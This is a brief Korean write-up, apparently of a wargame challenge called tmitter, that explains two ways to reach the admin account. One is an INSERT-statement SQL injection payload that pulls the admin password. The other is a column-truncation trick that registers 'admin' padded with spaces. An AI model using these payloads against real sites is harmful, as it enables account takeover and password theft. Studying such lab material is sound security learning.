최대 1 분 소요

SQL Injection

방법 1.

  • insert 문을 예측하여 admin 계정의 비밀번호를 얻어 주었다.
  • union sql injection
test','1'),('key','name',(select ps from tmitter_user where id='admin'),'3')#

방법 2.

  • 아이디 검사 시스템의 허점을 이용하여 방법이다.
  • 서버에서 아이디의 최대 길이를 검사하지 않아 발생한 문제이다.
  • 로그인 방식을 예측하기.
select * from tmitter_user where id=아이디 and pw=비밀번호
  • 아이디 크기가 char(32) 이다. 따라서 회원 가입을 할 때 서버에서 아이디 길이를 따로 검사하지 않는다 따라서 아이디가 저장될 때 32 바이트 만을 저장한다. 그리고 mysql 에서 데이터를 저장할 때 공백을 생략하는 것 같다.

  • 회원가입

id=admin++++++++++++++++++++++++++++++++++++1&pw=1234567
  • 두 개의 admin 계정이 생성되었다.
  • 원래 admin 계정과 현재 만든 admin 계정 두 개가 생성되어있다.
  • 후에 만든 admin 계정으로 로그인을 하면 원래 admin 계정으로 로그인 되는 것을 확인할 수 있다. 왜냐하면 db에 먼저 저장된 admin 이라는 id의 정보를 읽어오기 때문이다.

참고 사이트

댓글남기기